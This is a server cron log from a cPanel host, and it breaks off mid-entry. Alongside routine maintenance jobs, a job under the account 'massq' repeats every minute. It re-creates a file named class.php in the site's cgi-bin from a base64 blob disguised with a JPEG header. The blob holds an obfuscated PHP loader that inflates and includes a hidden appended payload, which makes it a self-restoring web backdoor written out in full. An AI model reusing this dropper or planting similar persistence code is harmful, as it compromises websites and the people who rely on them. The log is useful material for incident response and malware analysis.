Sep 11 19:56:01 server CROND[31536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:56:01 server CROND[31537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:56:01 server CROND[31538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:57:01 server CROND[31912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:57:01 server CROND[31913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:57:01 server CROND[31914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:57:01 server CROND[31915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:58:01 server CROND[32300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:58:01 server CROND[32301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:58:01 server CROND[32302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:59:01 server CROND[377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:59:01 server CROND[378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:59:01 server CROND[379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:00:01 server CROND[808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:00:01 server CROND[809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:00:01 server CROND[814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:00:01 server CROND[816]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 20:00:01 server CROND[822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:00:01 server CROND[821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:00:01 server CROND[823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:00:01 server CROND[817]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:00:01 server CROND[815]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 20:00:01 server CROND[820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:01:01 server CROND[1781]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 20:01:01 server CROND[1782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:01:01 server CROND[1784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:01:01 server CROND[1783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:01:01 server run-parts(/etc/cron.hourly)[1781]: starting 0anacron
Sep 11 20:01:01 server run-parts(/etc/cron.hourly)[1806]: finished 0anacron
Sep 11 20:02:02 server CROND[2224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:02:02 server CROND[2226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:02:02 server CROND[2225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:03:01 server CROND[2605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:03:01 server CROND[2606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:03:01 server CROND[2607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:04:01 server CROND[3097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:04:01 server CROND[3098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:04:01 server CROND[3099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:05:01 server CROND[3481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:05:01 server CROND[3480]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 20:05:01 server CROND[3483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:05:01 server CROND[3485]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:05:01 server CROND[3486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:05:01 server CROND[3493]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:05:01 server CROND[3496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:05:01 server CROND[3495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:05:01 server CROND[3494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:06:01 server CROND[4345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:06:01 server CROND[4346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:06:01 server CROND[4347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:07:01 server CROND[4720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:07:01 server CROND[4721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:07:01 server CROND[4722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 